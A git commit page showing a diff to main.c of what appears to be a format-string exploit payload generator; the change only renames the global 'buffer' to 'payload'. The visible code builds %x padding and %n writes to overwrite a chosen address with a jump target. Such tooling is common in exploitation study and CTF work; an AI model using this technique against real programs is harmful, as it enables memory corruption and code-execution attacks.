summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorOlivier Gayot <duskcoder@gmail.com>2014-01-27 00:29:25 +0000
committerOlivier Gayot <duskcoder@gmail.com>2014-01-27 00:29:25 +0000
commit909c5c82137a6b81091c14bd7d5dd63d149f8c43 (patch)
treef7fd3b84f05efe4318afc0fcbc2bb8da9661ae8f
parentb3122c208b43e8dd775b49c5023f728e14e0156e (diff)
rename buffer to payload
the name of the payload, 'buffer', was very confusing. I renamed it to 'payload' which is meaningful. BTW, I removed the export of the symbol. It is not very important since there is only one source file but there was no need to export it.
-rw-r--r--main.c16
1 files changed, 8 insertions, 8 deletions
diff --git a/main.c b/main.c
index 690ce83..474d28d 100644
--- a/main.c
+++ b/main.c
@@ -24,7 +24,7 @@
#include <stdio.h>
#include <getopt.h>
-unsigned char buffer[4096];
+static unsigned char payload[4096];
/* address to override */
static unsigned long override_addr_g;
@@ -32,7 +32,7 @@ static unsigned long override_addr_g;
/* address to jump to */
static unsigned long jmp_addr_g;
-/* index of the element on the stack which is the beginning of the buffer */
+/* index of the element on the stack which is the beginning of the payload */
static unsigned int idx_stack_g;
/* assume that an address is 'address_size_g' bytes long */
@@ -153,7 +153,7 @@ int main(int argc, char *argv[])
\
for (int sh = 0; sh < address_size_g; ++sh) { \
for (int shift = 0; shift < address_size_g; ++shift) { \
- buffer[i++] = (override_addr >> (shift * 8)) & 0xff; \
+ payload[i++] = (override_addr >> (shift * 8)) & 0xff; \
++written; \
} \
++override_addr; \
@@ -175,27 +175,27 @@ int main(int argc, char *argv[])
int remaining;
if ((remaining = calc_remaining((jmp_addr_g >> (shift * 8)) & 0xff, &written)) < 8) {
- memcpy(buffer + i, "ffffffff", remaining);
+ memcpy(payload + i, "ffffffff", remaining);
i += remaining;
} else {
- i += sprintf((char *)buffer + i, "%%%dx", remaining);
+ i += sprintf((char *)payload + i, "%%%dx", remaining);
++values_pop;
}
if (values_pop == idx_stack_g) {
/* (very) unlikely */
- i += sprintf((char *)buffer + i, "%%n");
+ i += sprintf((char *)payload + i, "%%n");
++values_pop;
} else {
- i += sprintf((char *)buffer + i, "%%%d$n", idx_stack_g);
+ i += sprintf((char *)payload + i, "%%%d$n", idx_stack_g);
}
++idx_stack_g;
}
/* we write our payload */
- fwrite(buffer, 1, i, stdout);
+ fwrite(payload, 1, i, stdout);
return 0;